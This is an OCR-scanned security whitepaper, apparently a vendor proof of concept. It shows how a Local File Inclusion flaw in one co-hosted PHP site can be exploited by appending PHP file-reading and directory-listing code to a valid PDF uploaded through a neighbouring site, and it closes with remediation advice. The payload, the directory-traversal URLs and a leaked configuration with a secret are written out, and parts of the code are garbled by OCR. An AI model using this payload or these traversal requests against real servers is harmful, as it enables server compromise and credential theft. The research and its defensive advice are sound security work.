SecurEyes

Infusing Security

Whitepaper

Exploiting Local File Inclusion in

A Co-Hosting Environment

A Proof-of-Concept

Utkarsh Bhatt
Anant Kochhar



Exploiting LFI in @ Co-Hosting Environment

TABLE OF CONTENTS

ADSEraCT . . e e 4
INErOdUCEION .o e 4
Upload ModUIES....covviiii it e 4
Local File INCIUSION ..vvvie e e e e e 4
The Attack SCeNario....c.viviiii e 5
Recommended ResoIUtioNS ......cvviiiiiiiii i 11
About The AULhOrS. ...cvi i e 11
ADOUL SECUIEY RS ittt e 12



Exploiting LFI in @ Co-Hosting Environment

Abstract

Local File Inclusion (LFI) vulnerability in a PHP web application can be exploited to the
fullest only when it is possible to upload files into the web server. This paper explores
a technique through which a properly implemented file upload module in a co-hosted
website can be used for full exploitation of the LFI vulnerability, which can lead to full

web server control.

Introduction

Web hosting companies and organizations often host several sites in the same web
server container as a way to economize resources. This is commonly referred to as ‘co-
hosting’. In this paper, we demonstrate a technique through which an attacker can
fully exploit an LFI in one co-hosted site through the upload module (even those which

are securely implemented) in another co-hosted web site.

Upload Modules

Web applications often implement a file upload functionality allowing users to upload
files, like documents etc, directly to the file system. Despite proper validations for the
uploaded files, malicious code can still be appended to a file, which is then accepted as
valid file content. This malicious code can then be executed by exploiting an existing

LFI (Local File Inclusion) vulnerability in a co-hosted website.

Local File Inclusion

In PHP, one page can make calls to or ‘include’ the code written in other pages or files
by using ‘require’, ‘require_once’, ‘include’ or ‘include_once’ core PHP functions. Pages
vulnerable to LFI accept file path as user input to directly reference to files which have

to ‘included’ during the run-time of the page execution.
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Attackers manipulate this user input to reference to files which are not intended by the
original developers of the PHP application. For example, attackers typically will try and

reference to ‘etc/passwd’ file on a UNIX system.

However, attackers are more interested in referencing to files containing malicious
code and try to discover vulnerabilities through which they can upload malicious files

to the server.

The Attack Scenario

LFI in One Co-Hosted Site
An attacker discovers LFI vulnerability in a website. The URL of the vulnerable website

page is http://www.vul456.com/index.php?file=test.php

@ Mozills Firefox =R [=0

Eile Edit Miew Higtory Bookmarks Tools Help

https/ . ul456, comyindex phpffile=test,php > -] R?a N [$8- Googte o i
eloa op .

Back  Forward

| httpiifindianairforce.n..

| ) ttprtfwrweovul456...phptfle=testphp |+ | =

S AR

This file includes and displays the content of the file

WE INCLUDE THE FILE 'test.php' AND THE CONTENT OF FILE DISFLAY HERE

Done @ @ 127001

The ‘index.php’ page accepts the file path as user input for the variable *file’. It then

includes the file during run-time as shown above.

The attacker can thus traverse to all files on the server. However, this is of hot much
use to the attacker, since all files are valid and do not contain any malicious code:
URL: http://www.vul456.com/index.php?file=../site3/index.php
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file Edit Wiew History Bookmarks Taools Help

it/ Aol 456 com/index php file=. fsite 3findex php > -] c A9 Geoge p| & w

Reload  Stop Home  Firebug

[ 2]

Back  Forward
| hitp:ffindianairforce.n..

|| httpitwww.vul456.....isite3findex.php | = -

The header ]
section of site
3 is being

included
This file includes and displays the content of the file: /

HAAAAK AN HAAAAAAAN

‘Welcome to Site3 Home page

HAAAAR AN HHFAAAAA

TWlecome to Site 3

Upload Module in another Co-Hosted Website

The attacker discovers an upload module in a public page of a co-hosted website. Note
that the upload module checks for valid file type and content:
URL : http://www.vul123.com/index.php

@ Mozilla Firefox =

File Edit Miew History Bookmarks Tools Help

httpe/ fannawvul123.comyindexphp > - c A (39 Google o) 2

Reload  Stop Home  Firebug

(> ]

Back  Forward

L httpifindianairfarce.n..

| 3 nttpetrorwwevur1 23 .comsitens - [~

skt [pload PDF Files only etk

Filename: C\Usersinic3076\Deskio | Browss.

Done # @ none
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The Exploit

The attacker captures the HTTP request to the server in an HTTP proxy, like Burp:
burp suite v13.03

burp intruder  repeater window  help

target | proxy | spider | scanner r’\mvuder rrepeatev rsequen:er r/decuder ’/:Umparev rummns alerts
intercept | options | history

(o= ]Es

requestto http:fwaww vult 23.com:80 [127.0.0.1]

‘ forward H drop H interceptis an H action ‘

raw params headers hex
POST /sitel/upload_file.php HTTP/1.0

Host: www.vul123.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.2.22) Gecko/20110902 Firefox/3.6.22
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5

Accept-Encoding: gzip,deflate

Accept-Charset: IS0-8859-1,utf-8;9=0.7,%*;9=0.7 The form Cons|sts of a Va“d
Keep-Alive: 115 .

Proxy-Connection: keep-alive PDF F||e

Referer: http://www.vul123.com/sitel/
Content-Type: multipart/form-data; boundary=----------------cccoeueeu-v 29711786422913
Content-Length: 58255

----------------------------- 2971178642913
Content-Disposition: form-data; nam@="file"; filename="HCTD000533. pdf"
Content-Type: application/pdf|

%PDF-1.3
%Gill¢
5 0 obj

|

taNarnda

The attacker appends the malicious PHP code at the end of the PDF content.
burp suite w13

burp intruder repeater ‘window help

target [ proxy spider rSEaﬂﬂEf rmtruder rrepeater rsequencer rdecoder rcomparer r’omiuns alerts
intercept | options | history

=R )

request to hitp:favsevul1 23 comign [127.00001]

‘ forward H drop || intercept is on H action |

raw params | headers hex
startxref =
57024
0400 FOF
<?php
file=file_get_contents($_GET[file']);
cho "<pre>".($file)."</pre>";

handle=opendir($_GET['dir']);
cho "<pre>";
hile(false!==(%file=readdir($handle)))

cho "sfile\n";

cho "< /pre>";
losedir($handle);

1294919323195
Content-Disposition: form-data; name="submit"

Cubmit i
L Jl=l= 1 e e | 0matches
type a search term
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The attacker submits the above request and successfully uploads the PDF file into the

server. Note that the native PHP file validation function... is implemented in the page.

@ Moxzilla Firefox ==

File Edit Miew History Bookmarks Tools Help

- Googte p| & ¥

htps/ . vul123.comdupload_file php > -]

Back  Forward Reload  Stop Home  Firebug
| httpffindianairforce.n..
| 3 nttpetrorwwvul1 23... 1iupload _filephp| = | [~

skt [pload PDF Files only etk

HCTD000533.pdf successfully uploaded
Click here to sec the uploaded file.

Done # @ none

As shown below, the uploaded file is a valid PDF file which opens in the Adobe Acrobat

reader:
HCTDO00533.pdf - Adabe Reader = = |
File Edit View Document Tools Window Help *

Find -

NI = S PR N =

»

I

List of Identified Cities/Urban Agglomerations (UAs)
under Sub-Mission on Basic Services to the Urban Poor (BSUP)

a) | *Mega Cities/UAs
b) | *Million-plus Cities/UAs
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The attacker can now fully exploit the previously discovered Local File inclusion
vulnerability. The URL of the vulnerable website is

http://www.vul456.com/index.php?file=test.php

@ Mozilla Firefox = | )
File Edit View History Bookmarks Tools Help
o w36 com/indecphpfile=test,php > - 8- Google o B @
Back  Forwerd Reload  Stop Home  Firebug
L hitpufindianairforce.n..
| ) nttpetrorwwvuld5...phpiile=testphp | = | [~

HHAAAAAN, HAR ALK

This file includes and displays the content of the file

WE INCLUDE THE FILE 'test php' ANMD THE CONTENT OF FILE DISPLAY HERE

Done # @ 120001

The attacker references to the uploaded PDF file by entering its path, using directory
traversal, in the ‘file’ GET parameter:
http://www.vul456.com/index.php?file=../sitel/upload/HCTD000533.pdf

& Mozilla Firefox = e )
File Edit View Histoy Bookmarks Tools Help
C o hpfwwwauS6.comyindecphpile=../site Lupload/HCTD0N0S 33 pdf > - c - Google 5| & @
Back  Forward Reload  Srop Home  Firebug

L httpifindianairfarce.n..

| 1] hittptiwww.vul456. .. pdiddir=.Jsite2 | + |

mp

%PDF-1.3 %Gl 5 0 obj <> stream zeeOMErCRE;~pA% CHZ L) mw<atR=odE g8 VEH L EMEEpEATwlT5- FA) YURTTTWWHtm 708 3400 - 7/% » i By~ ya0i; UalbT oy §§owys
LTI sTaneneel_ MERROB i) T wpitux Z*@a0-h3pORLEHEETHE Mo Atind"44eZ Oma T o) B s 3, 1E 0Ol pHPHCW T BRI f—yuo;ia_Kll&ln(T& £birg 1
oflQ 8XAY »Z[5, Beti~Con Dyl RO [ P2K MG O Rve, s M 1ep 2DRER NI LIH EPBEIR - THEWE -1d-O0Z40 %41 Qo 1~ 2TAL! £ BTAIqAXua£>;01PoeA>¢@8®| Al V4l lPOBﬁ

Bl 3%%l1¢dIMIIIMY24UJﬂ(l\o-y[ 1[~$QngI#kKlF["%uU\ﬂ} OsmP ¢ fE(;uvyaA.S » AT Qe 1k u]bdaﬂoa—IMqU.EESkOQ} 138 § %08 < xOICT R < AHTFE#A A< 25 G
OeREx =) Tt % QRT T BTUP S *=% 8T, BmaD=AlcK ¥ To0EaT 0260 07§ limtl k1ljr-—D9uY [t aRwrOZicn: +54
20T D= Q2@14l lj"[<’/ﬂ3€D Y yliley TR0 Ficdt >D.‘aaeugll 12 A uA-1G »@oAUOCw«Y'UO rbogsa%o[ 3erB fu 9L EWBHED +a20(MiU, iy &1Tab eE+E
Toudi=E <ieIoU E<® ev5*= Q7aQ1Tg)s8ETot” GO*2oMEai>cpR Yadllye+ [ aP1TR  qve ™ Bles~zoOaphir 5v2 A2l axbnPajué o—endstream endoby 6 0 obj 5626 endobj 15 0 obj

NlNOU§l KByl E Rt A otfat AR UE_# BIufait oF 23 wi oaal]\u@py S4IZS&QNN$"4)ZI|‘ EpECT 0TS D F 03 ae UFV-mBley#t [87%50) oma=sTeeps B 1 gdatfa

— 153 U h%hg Lo e¥ibt oz @ hite T A Obo@ K Mo &) A#NT £ DUY $Es #Ch M epos I o “BDpd” {UTR-, UOEcFlae.‘@ua.;Y.‘©6ur‘I'{ATph“ﬁﬁY.cFD.uSenO.\i& E8E=D
[Mape IR =1iE® i1 18- eD e asP 3DEEJ¢d-$Aﬂ{~SCPaH~'nYébDKi{I‘J&;é' .FYD OE ]mewmom <X_A‘TU‘oat = F IEI\Ih%ENTquomm @i GNTQ A TW

Done # @ 120001
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An attacker can pass input parameters to the malicious PDF file code by sending them

as GET parameters:

http://www.vul456.com/index.php?file=../sitel/upload/HCTD000533.pdf&dir=../site2

@ Mozilla Firefox = e )
File Edit Miew History Bookmarks Tools Help
¢ : m 0 P @
- https/ o vul458.comyindex phpFfile=. /site Liupload/HC TDON0533.pdfadir=. f3ite2 > - - Google p ?
Back  Forward Stop Home  Firebug

L httpsifindianairfarce.n..

| http:tfwww.vuld36. ... pdi&udir =..fsite2

index.php
test.php
config
cache
components
db config
includes
installation_
language
logs
media
wodules
templates
Tp
xmlrpe
configuration.php
COPYRIGHT. php
htacecess. txt
LICENSE.php
LICENSES.php
rohots.txt
com_user
com_newsfeeds
com_poll
com_profitaprojects
com_projectlog
com_search

Dane

The files in the
site2 directory are
displaying here

PR

L
® & 127001

= e

i — s == i W W

W —

As can be seen above, an attacker can list all directories on the server. He can also

read the source of any file on the server:
http://www.vul456.com/index.php?file=../sitel/upload/HCTD000533.pdf&file=../site2/

configuration.php

& Mozilla Firefox

File Edit Miew History Bookmarks Tools Help

= L] httpe/fwaesul 456.comsitefindex phpfile=. Ssite Lupload /HCTDO00533 pdf&filee=../site2/configuration php &dir: 7~

Back Farward

L httpsifindianairfarce.n..

) httpswww.vul436...phpedir=..isite2}

UULUL UG SE UUUUU o UDUUL 2062 UUUUU o UUUULTT T T46 DDLU UUUDLUEZ fbas UUUUU o UDUUL TUSEZ UUDUL o UUUUL TUS 2 UUUOU o UUUUU U T UUUUL o UUUUUUS 73T UUUUL o UUUUD U035

[E=m[EER e

)

o - Google p| £ i

S 8- 6o Mores B

00000 n 0000011830 00000 n 0000052137 00000 o 0000010613 00000 n 0000010643 00000 o 0000012265 00000 n 0OD0027853 00000 n 0000052328 00000 1 0000010266 00000 n
0000011544 00000 n 0000011976 00000 1 trailer << /Size 27 [Roct 1 0 R fnfo 2 0 R /1D

Please check back again soon.':
var §sitensme = 'Ouiz Application';
var feditor = 'tinymes':
var §list_limit = '20';:
war §legacy = '0':

/% Debug Zettings */
var fdebug = '0';
war $debug lang = '0';

/% Database Settings 7/
var $dbtype = 'mysgl';
wvar $host = !'localhost';
war juser = 'root!';

var §password =
var $db = 'gquiz
var fobprefix = 'jos_';
/7 Server Settings &/
var §live site = '';
var §secret = 'BudZHU3JE2EwS1ne';
var fgzip = '0';
var jerror_reporting = '-1';
var fhelpurl = 'hoep://help.joomla.org!:
var §xmlrpe_server = 'O':
var §ftp_host = '127.0.0.1';
var §ftp port = 'Zl1':
wvar §ftp user
wvar §ftp pass
wvar §ftp root
war $ftp enabl

] >> starteref 57024 %%ECE

The source
code of the file
is displayed

m |

Dane

& 2001

= W = W i W
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The Impact

The impact of this vulnerability is that the attacker can execute any arbitrary code on

the server potentially taking the complete control of the web server.

Recommended Resolutions

Secure web hosting settings should be implemented to disallow pages/ scripts in one
website to reference/ include files of other co-hosted websites. Such settings will vary
according to web server type and other web hosting environment conditions. However,

the following core vulnerabilities can be resolved by using secure coding techniques:
Public ‘File Upload’ issue:

1. File upload module should not be publically accessible. If a public file upload
module is required, then the uploaded files should be stored in a database and

not in the file system.
LFI vulnerability:

1. Filenames/ file paths of files to be included during execution should not be
passed as a user input from the client side.

2. Proper indexing should be maintained for the files and the file id’s can be
passed instead of the file names. For example, ‘id=1" instead of

‘file=change.php’.
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